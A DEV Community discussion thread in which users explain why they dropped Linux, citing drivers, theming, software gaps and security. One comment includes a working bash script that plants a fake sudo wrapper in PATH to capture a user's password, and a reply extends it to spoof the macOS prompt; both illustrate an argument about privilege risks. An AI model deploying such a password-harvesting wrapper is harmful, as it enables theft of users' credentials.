DEV Community

Gracie Gregory (she/her) for The DEV Team

Posted on

If you've tried Linux and opted against using it, tell us why for the chance to be featured on our podcast!

The DevDiscuss Podcast is coming back for a new season soon! As you might recall, we like to feature the actual voices from our community!

We'd love to know your responses to the following question for an episode we have in the works:

β€œIf you've tried Linux and opted against using it, why is that?”

You can answer the question above by:

  • Calling our Google Voice at +1 (929)500-1513 and leave a message πŸ“ž

  • Sending a voice memo to pod@dev.to πŸŽ™

  • OR, leaving a comment here πŸ—£

Your answer might be included in the episode πŸ˜‰

Please send in your thoughts by Wednesday, January 27th at Midnight, ET (9 PM PT, 5 AM UTC)


P.S. Catch up on past episodes of DevDiscuss here

Latest comments (36)

Collapse
 
stephenajulu profile image
Stephen Ajulu

Personally i think it's great but software!
Software is my main issue.
I need software such as Adobe Illustrator and Photoshop.
Yea, there are alternatives but it's hard to work with them after using Adobe so much.
Other issues like Akshit Garg mentioned is inconsistent theming, flaky driver support and many distros look outdated(i am a windows user and it looks modern to me).
The distro i am eyeing for when i finally leave Windows is Garuda or Manjaro or Deepin.

Collapse
 
ndom91 profile image
Nico Domino • Edited

Re: People having a hard-time finding MacBook Pro -esque hardware to run Linux on. I've got a suggestion - the Huawei Matebook X Pro

I've been running Arch on a Huawei Matebook X Pro for about a year or two now and man do I love this laptop.

I have the 2018 version - but its got many things going for it:

  • great keyboard
  • 3000x2000 touch screen (I know, an odd aspect ratio, but it takes almost 0 time to get used to)
  • slim bezels
  • a huge trackpad
  • fingerprint reader in the power button
  • no touchbar haha
  • Its got a sexy chassis and looks very similar to a macbook air
  • with an i7 + 16gb ram + nvidia mx250/intel uhd graphics version available, theres potentially still a ton of horsepower in that small shell
  • still has 1x full-size USB-A port!

It is not cheap, I paid ~1.800 EUR for mine back then, but I still recommend it to anyone I can nowadays.

Collapse
 
laci profile image
Laci Kosco

I was using linux for many years on different laptops, but corporations seem to have no clue to support linux for their employees. I was simply curious about the Apple platform and did not understand user happiness with it given the pricing. So more than year ago I gave it a shot, bought MacBook pro, iPhone and watch (so effectively changed the platform).
I have no complaints, machine boots up rather quickly (I used to mock colleagues with windows about this - linux was even faster) .... but as windows and linux it starts with just OS and maybe some applications in autostart. On mac, my previously open applications starts in state i left them. Cooperation with phone and watch is just great, so handover is making me smile even after more that a yer of usage.
Then there is one burden on both linux and windows - updates - too often - too interrupting. Many times it ends up needed to reload some parts - a breeze on linux unless you update kernel or drivers- and full reboot on windows.
With mac i have occasionally some update and if it happens, my machine will return to the state i was working on previously.

And all parts are working. No troubleshooting of drivers or what-else.
I still love linux, and we are all blessed with homebrew to bring many tools to mac easily. As daily driver, i feel i can depend on my mac machine more than a on linux as it does not need constant tweaking and babysitting for various things.

Do overall if you can afford to get mac, you will probably enjoy more time working than troubleshooting and updating. I personally decided to let apple take care of machine and focus on using it to create things i need or love.

And the ecosystem issue with closed system is blurred with homebrew. The handover between mac and phone is a bliss also using airpods between the two is like everyone should be allowed smooth transitions. It is simply a good choice, not picking up on small issues, and focus. I have spent a lot of time troubleshooting linux and missing the precious time elsewhere. For me after 20 years in IT, time is most important thing you have, split it wisely.

Collapse
 
nlxdodge profile image
NLxDoDge

Well it depends per distro, but driver support for graphics cards (See Nvidia) and having different size monitors really screwed me over big time.

In windows everything just works out of the box. No debugging required.

And for the occasional game, you can play most games well. But that requires extra work to.

And most software they use in school are mostly not on Linux, so Windows and Apple only. That's a big bummer too.

Collapse
 
slavius profile image
Slavius

Let's be honest. With ATI/AMD graphics cards multi-monitor, HiDPI setup, scaling, compositing, desktop effects work all just great out of the box.
Who do you think fault it is? No wonder Linus shows middle finger to those companies...

Collapse
 
mithil467 profile image
Mithil Poojary
  1. Game development tools like Unity 3D are not available for linux.
  2. I would find myself debugging things that ideally I shouldn't have to worry about. Why is apt update giving me a hash mismatch?
  3. Most games are not available.
  4. Slow booting time. my linux bootup period is 2 mins while windows boots up in 20 seconds.
  5. Audio from speakers was always lesser than compared to windows.
Collapse
 
mitchpommers profile image
Mitch Pomery (he/him)

I use to run a linux server at home and another on my universities network back around 2013-2015 but stopped because the time I was spending maintaining them outweighed the benefits they gave me, and services have come up that provide me what I want without needing to do that maintenance work. One of the big services that stopped me from running my own server is Discord, as several of the IRC chatrooms I was in now have discord servers and I no longer have to have an IRC bouncer to receive messages and allow me to connect as the same user from multiple devices.

As a desktop OS, I tried Linux Mint back around 2010, but it didn't play nicely with my tri-screen set up, so I quickly abandoned it. Now I have no need to try linux on my desktop anymore as I have WSL when I need it.

Collapse
 
stereoplegic profile image
Mike Bybee • Edited

Just left a VM ("longtime Linux user... all of the email clients suck"), but I think I forgot to leave my name. So here I am, @graciegregory

Collapse
 
jmccabe profile image
John McCabe

Simple; "the right distro".

I 've been using Linux as a development environment for 18 months or so, purely because I have to for the target tool chain. The choice of distro depends on someone at the tool chain suppliers end, since they only support 3 of the 9 million or so distro out there, so it's a compromise. On numerous occasions, having come from Windows, I'll search for "how to do xxx on Linux" and hear about some wonderful tool, only to find it's only possible to use it on some other bunch of distros I'm not using.

Until this fragmentation issue is sorted out, Linux will remain niche and, where possible, I won't be using it.

Collapse
 
thejustinwalsh profile image
Justin Walsh

Close, but no cigar. Pop!_OS is really good. Gnome is getting better. I daily drove it on a Razer Blade Stealth 13" for over a year, and it was death by (not quite) 1k papercuts. The bugs in gnome, the unstable gnome extensions, and the workarounds for software are what killed it for me. I have access to more tools on Windows and MacOS, WSL2 is wonderful, and M1 macs have put fire back into the laptop game. If I had to use Linux as a desktop OS I could definitely do it, but there is just still more support, apps, and polish in Windows and MacOS.

Collapse
 
ivangaravito profile image
Ivan Garavito

I've used Linux since 90's, I really feel comfortable working on it. I actually use Manjaro KDE edition, and I don't like get in trouble following Youtube videos about theme customization nor geeky Desktop Environments (DE) like i3 and others. For every task I can't accomplish in Linux, I use Virtual Machines (VM) with Windows, Android or whatever Operative System (OS) I need.

Collapse
 
nikhilmwarrier profile image
nikhilmwarrier • Edited

Straight to the point:

  • Visual Studio IDE
  • Smooth UI
  • All of my favourite dev tools

Also, I can have all my favourite software in one place with WSL, which is sweet.
And Windows is easier to manage.

But the biggest fact is that, though I like customisability, I don't want too much of it, as it ends up being a distraction. More like what Dobby the House Elf in Harry Potter said:

" Dobby likes freedom, sir. But Dobby is not wanting too much of it. Dobby is happy with what Dobby gets, Harry Potter sir."

Well, that's all from me...

Collapse
 
king11 profile image
Lakshya Singh

I still use linux and very much appreciate the ease it provides for developers to setup their projects and get going but.....

  • I have tried various flavours like manjaro, ubuntu, mint, parrot, kali, zorin and each of them consumes more battery power even on low usage which is a hassle because you have to keep the battery in charging state as won't last more than 3-4 hrs. (i7 am talking abt windows 10 vs linux)

  • secondly I also do gaming and photo editing which isn't possible on Linux for some many games and softwares. adobe photoshop isn't available on Linux and most games don't provide a linux version .

  • with so many tuning parameters you can easily lead to something disastrous

Collapse
 
iamschulz profile image
Daniel Schulz

I really do like working on a linux machine, but haven't done so in about two years.

  • My former workplace had an administrated IT, that allowed Mac and Windows only.
  • As I switched jobs, I wanted to be able to get support from my coworkers - who use Macs. As soon, as I understand their infrastructure well enough, I might consider switching to Linux again.
  • I work a lot with the Adobe software on my private machine, that won't work with linux.

I usually go for Ubuntu for work machines and Arch for private tinker machines.

Collapse
 
fahminlb33 profile image
Fahmi Noor Fiqri
  • Visual Studio is not available in Linux (my main IDE)
  • Driver support for GPUs
  • Support for multimedia is not as good as Windows (playing movies, music in general)
  • Not that easy to use for everyday use
  • Windows have WSL 2, so far everything I need is already fulfilled)

The only thing I'm missing from Windows is Docker, the performance is quite noticable

Collapse
 
micahlt profile image
Micah Lindley

Actually, VS Code is available on Linux, and is officially supported! See here: code.visualstudio.com/docs/setup/l...

Collapse
 
gargakshit profile image
Akshit Garg

Docker Desktop for windows has a WSL2 backend :)

Collapse
 
gargakshit profile image
Akshit Garg • Edited

I used Linux on my primary laptop for quite some time, but to be really honest, using something like windows or macos suits me better because:

  • Inconsistent Theming
    Whenever I apply a GTK or QT theme of my choice, some applications' visual elements break. A common example is Firefox, where the URL in the address bar sometimes has so low contrast that it becomes practically unusable. Also when I apply a theme, some applications remain unchanged, reminding me of the 90s windows look. This particularly happens on i3wm of similar window managers with QT applications. Sure this could be solved but this brings me to my 2nd point

  • Overwhelming amount of dials to play with
    Sure customization is nice, but having a unified interface to tweak the same is better in my opinion. I don't exactly want to have 2 applications just to apply my GTK and QT themes, and another 2 to tweak my display and trackpad settings. A full blown desktop environment like GNOME with its settings application might solve this, but due to the theming inconsistencies, I find myself having another application to manage theming for applications that are not GTK

  • Flaky driver support
    Usually everything works just fine out of the box, but this was not the case for my trackpad and my laptop's built in fingerprint scanner. The trackpad couldn't recognize multi finger gestures, so I found myself using the weird edge scroll function. No matter what I tried, I could not get it to work. Same for my fingerprint scanner, it showed in lsusb, but I couldn't get it to work

  • No secure boot

  • No application sandboxing
    Coming from MacOS, which sandboxes all the apps, having raw access to the X11 socket was a huge security risk in my opinion. While this could be solved by using a newer display technology such as Wayland, most of the applications don't work with Wayland and fallback to XWayland which is no better than running a X11 server. While firejail might promise to solve this, it comes with a set of its on vulnerabilities as shown here and here

  • Easy root access
    Being in sudoers is as good as being root. The following script could be injected into the path using .bashrc or similar

cat << EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -s -r -p "[sudo] password for ${USER}: " password
  echo "${password}" > /tmp/password
  echo -e "\nSorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"
Enter fullscreen mode Exit fullscreen mode

This script could easily get the user password and send it to some malicious party. And as apps can access your home directory, .bashrc could be used for more sophisticated attacks

  • Time consumed to get a functional development environment This is especially true when a distro does not have a pre-built binary for the specific application I want, having it to compile from scratch. Technologies like flatpak and snap might solve this, but I really don't want snap mounting 20 partitions on boot just for the 5 applications I installed from snap. Flatpak is better in this regard, but it comes with its own set of problems, documented at flatkill.org
Collapse
 
tagkit profile image
Tagkit

Hey there, so I was looking through your reasons to make sure how much of them have truth, and how many of them are based on things you may not have heard or known of.
A note: I have very limited experience with MacOS so I will be approaching this from Linux and Windows 7, 8, 10 comparisons.
In short order here are the things that I found totally valid in your criticisms of Linux and with no easy fix:

  • Inconsistent theming: Compared to MacOS, there are almost no real desktop themes that are universally applied across all software regardless of being QT or GTK based and people often reason this is the result of the flexibility of the desktop framework ecosystem. On Windows, my understanding this is still a problem because not all applications will honor the Windows Win32 or similar frameworks for the GUI (Please anybody correct me if I am misguided here). Some of my favorite examples for this sort of thing would be Steam, Discord, some Java-based, or python based applications, and electron-based applications that do not respect the Windows GUI guidelines.
  • The Dials comment can be layered in with the Inconsistent theming since theming is based on what GUI framework is relevant and being applied by the application and/or the system.
  • Flakey Driver Support: Sadly this is a very common one, but I find that all systems I have tried have some form of issue with this and it is based on quality of technical support provided by the parent company. Probably the best example I would have for this is the Realtek/Broadcomm Wireless drivers. I was having trouble with these drivers on both systems to where it was a nightmare to keep an internet connection for the longest time. Eventually I was able to find a custom driver for the Linux ecosystem released by the company and supported by the community. I won't speak to the nightmares I've had on Windows systems in setting up printers, scanners, proprietary items like the Cricut or other devices. That seems to be a case of each person may have a different experience.
  • Application sandboxing: From what I have heard of MacOS systems, I believe it is likely the only system that widely employs sandboxing and most of that is due to the control the company has over their own ecosystem. A huge issue with this though and it wasn't hard to find academic papers verifying that much of the software available outside of the MacOS appstore does not apply sandboxing creating the same issue as found in other personal user systems.

Next, things that were found inaccurate or mostly subjective based are listed below:

  • Linux does have secure boot access. If you merely google SecureBoot Linux, you will find many articles, howtos. Ubuntu, Fedora, Arch Linux, OpenSuse, Debian, and other distributions support SecureBoot access and have resources available to guide users on how to implement it on their systems.
  • Easy root access: This is a user security issue. If you are installing items from unknown sources without verification, the issue is the same on Windows as it would be on Linux. Even for people using the Arch User Repository or Ubuntu's PPA's come with the disclaimer, make sure that the applications or repositories you are installing are trustworthy. Windows has the same issue still though they are getting better from what I've seen in that some people just don't respect best security practices when developing, distributing, or installing software. Sidenote: This is why using sudo only when necessary and in secure environments is so insanely important. Is it applied appropriately by all users or developers? Not necessarily, but it is important.
  • Time Consumed to get a functional development environment: This one is variable to user experience and heavily depends on what system you are using or how niche the software you are using is. I use Slack, Telegram, Discord, OBS-studio, VScode, Jetbrains Suite, and rust-lang. I have also installed Eclipse, Mend, ArduinoIDE, QGIS, Virtualbox, Ki-Cad, and other applications to explore as a student, and I have had no trouble finding a working application that is available through flatpak or the apt package manager. The name of flatkill.org is enough to make me consider it a biased source, and their claims are not entirely correct and not enough sources are provided but after looking it up and other discussions held about it I believe it can be said that there are valid concerns there. Like with the MacOS environment or Windows environment applications not distributed through their own software stores or systems, it is the developers faults at the lack of proper security or updates in their systems. These same problems may exist in any software that is niche, or found from 3rd-party suppliers.

You have many good points, I just wished to provide an alternative view as someone who bounces between both Windows and Linux on the regular. Both systems have their issues, and much of the problems with any operating system is how high a priority as a target audience for providers, and how biased others will be as it is a fairly popular system for developers that people will target with passionate opinions that the reader will have to sift through and will vary based on each person's experience. Thanks!

Collapse
 
moopet profile image
Ben Sinclair

How would your example script be any different on MacOS vs Linux? Macs still use a sudoers file.

Collapse
 
gargakshit profile image
Akshit Garg

But macos has a different sudo prompt, and along with TouchID for sudo, it is really easy to spot such things. Also apps have to ask for permission for home folder access, making it difficult to inject it via bashrc or similar

Thread Thread
 
moopet profile image
Ben Sinclair

Yes, it has a prompt that reads Password: instead of [sudo] password for {user}:. It also runs zsh by default, but that doesn't matter, if you're going to have access to write to someone's home directory and also know how to script, it's just a matter of making it conditional, something like this:

case $OSTYPE in
  linux-gnu)
    sudo_prompt="[sudo] password for {$USER}: "
    ;;
  darwin*)
    sudo_prompt="Password: "
    ;;
esac

 read -s -r -p $sudo_prompt password
Enter fullscreen mode Exit fullscreen mode
Thread Thread
 
gargakshit profile image
Akshit Garg

Well yes, but applications need explicit permission to access the home directory in MacOS, reducing the attack surface by a lot

Thread Thread
 
moopet profile image
Ben Sinclair

On a Mac and a Debian box right now, and I can read other people's home directories but not write to them on both systems. I'm not sure what the difference is. If you're saying that some random GUI app that's a trojan has a better chance of writing to someone else's home directory on one system, then ok - I mean I don't really know how that would work, but I'll assume you're right for the sake of this thread.

What you were saying before about the difference in prompts somehow making one more secure than the other doesn't make sense to me though, and it looks like you're moving the goalposts a little.

Different systems will share some vulnerabilities and also have their own separate ones. MacOS is pitched as mostly being for single-user systems where you need physical access to do a lot of damage, where Linux is more likely to be multi-user from the get-go. Both approaches make compromises. There are root escalation vulnerabilities on both we haven't even heard of yet, I'm sure - but it's not as easy as "this script gets you root on Linux, MacOS is secure".

Thread Thread
 
gargakshit profile image
Akshit Garg

I might be wrong, but I meant writing to the logged in user's home directory. With a normally configured Linux box, applications could write to the same user's home directory without asking for explicit permissions, while with MacOS, this is not the case. MacOS asks for "Documents" permission before allowing an application to write in the home directory making the attack surface much less. I guess you could do some hardening to mitigate this

Thread Thread
 
moopet profile image
Ben Sinclair

Maybe. I don't remember seeing that, but if it's the case, then if this is something bundled with a GUI app, people are probably just going to click "sure, ok" and if it's a CLI app, I doubt they'd get that prompt.